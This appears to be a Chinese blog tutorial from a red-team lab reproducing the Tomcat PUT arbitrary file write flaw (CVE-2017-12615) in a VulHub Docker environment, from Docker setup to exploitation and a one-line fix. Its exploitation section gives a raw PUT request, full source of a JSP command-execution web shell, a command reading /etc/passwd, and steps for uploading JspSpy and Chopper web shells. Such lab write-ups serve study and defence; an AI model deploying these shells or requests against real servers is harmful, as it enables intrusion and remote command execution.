红日攻防实验室

红日攻防实验室



VulHub – 渗透测试案例(八)

timg.jpg

Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

一.Centos7 安装Docker

  1. 安装Centos7 可自行百度。
  2. 安装Docker

命令: yum install docker

启动Docker:

systemctl startdocker

systemctl enabledocker

  1. 检查Docker安装启动成功

查看版本:docker version

查看运行状态(状态为running):

service docker status

二.安装pip

使用Docker的时候,需要docker-compose工具,安装它的前提是要先安装pip工具。

1.首先检查linux有没有安装python-pip包,直接执行

yum install python-pip

2.没有python-pip包就执行命令安装

yum -y installepel-release

3.执行成功之后,再次执行

yum -y installpython-pip

4.对安装好的pip进行升级

pip install--upgrade pip

至此,pip工具就安装好了。

三.安装Docker-Compose

安装命令:

pip installdocker-compose

安装成功之后:通过docker-compose--version 查看版本信息。

四.在centos7上修改docker加速镜像为阿里云

使用docker pull命令下载镜像太慢了,经常会超时无法下载,因为默认是从国外的下载,需要修改为国内镜像,以下配置为国内阿里云镜像加速方式。

1.先注册一个阿里云账号,到阿里云注册即可。

2.登录https://cr.console.aliyun.com,如下,点击左边的“镜像加速器”:

说明: C:UsersAdministratorDesktop镜像加速.png

阿里云会为每个用户提供一个专属的加速地址,复制该地址。

3.在Centos7中配置镜像加速器

前提是安装1.10.0以上版本的Docker客户端。针对Docker客户端版本大于1.10.0的用户,通过修改daemon配置文件 /etc/docker/daemon.json来使用加速器,配置命令如下:https://XXXXXXX.mirror.aliyuncs.com为你的专属加速地址

tee /etc/docker/daemon.json <<-'EOF'

{

"registry-mirrors": ["https://XXXXXXX.mirror.aliyuncs.com"]

}

EOF

  1. 重启docker:
sudo systemctl daemon-reload
sudo systemctl restart docker

五.使用Vulhub:

详见说明:https://github.com/vulhub/vulhub

Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

一.环境搭建

进入目录,启动环境:

cd vulhub/tomacat/CVE-2017-12615

docker-compose build

docker-compose up -d

说明: C:UsersAdministratorDesktop1.png

说明: C:UsersAdministratorDesktop2.png

运行完成后访问http://192.168.*.*:8080即可看到Tomcat的Example页面。

说明: C:UsersAdministratorDesktop3.png

二.漏洞利用

1.利用条件

(1) 受影响版本:Apache Tomcat 7.0.0 - 7.0.80。漏洞说明只影响Windows平台下,当 PUT 地址为/1.jsp/时,仍然会创建 JSP,会影响 Linux 和 Windows 服务器。

不受影响的版本:

Apache Tomcat 7.0.81

Apache Tomcat 8.x

Apache Tomcat 9.x

(2) 当Tomcat 启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false)

2.利用方法:写一句话cmd shell

直接发送以下数据包,在Web根目录写入一句话shell:

PUT /1.jsp/ HTTP/1.1

Host: 192.168.64.151:8080

Accept: /

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 5

上传一句话shell

14.png

Cmd一句话shell代码:

<%@ page import="java.io.*"%>

<%

   try {

           String cmd = request.getParameter("cmd");

           Process child = Runtime.getRuntime().exec(cmd);

           InputStream in = child.getInputStream();

           int c;

           while ((c = in.read()) != -1) {

                out.print((char)c);

           }

           in.close();

           try {

                child.waitFor();

           } catch (InterruptedException e) {

               e.printStackTrace();

           }

       } catch (IOException e) {

           System.err.println(e);

       }

%>

3.执行命令:http://192.168.*.*:8080/1.jsp?cmd=cat /etc/passwd
说明: C:UsersAdministratorDesktop6.png

4.上传大马:JspSpy.jsp

如在Tomcat7下JspSpy.jsp 大马要做些代码修改(详见百度),不然会500 无法执行。

修改后上传jspspy1.jsp

13.png

连接大马:

说明: C:UsersAdministratorDesktop9.png

5.上传菜刀马:caidao.jsp

11.png

菜刀连接:

12.png

6.快速检测办法:Python exp直接生成shell。

说明: C:UsersAdministratorDesktop111.png

三.修复方法

将 conf/web.xml中对于DefaultServlet 的 readonly 设置为 true,能防止漏洞。

 标签: none

作者  :  redBu11



关于我

about me

redBu11

联系我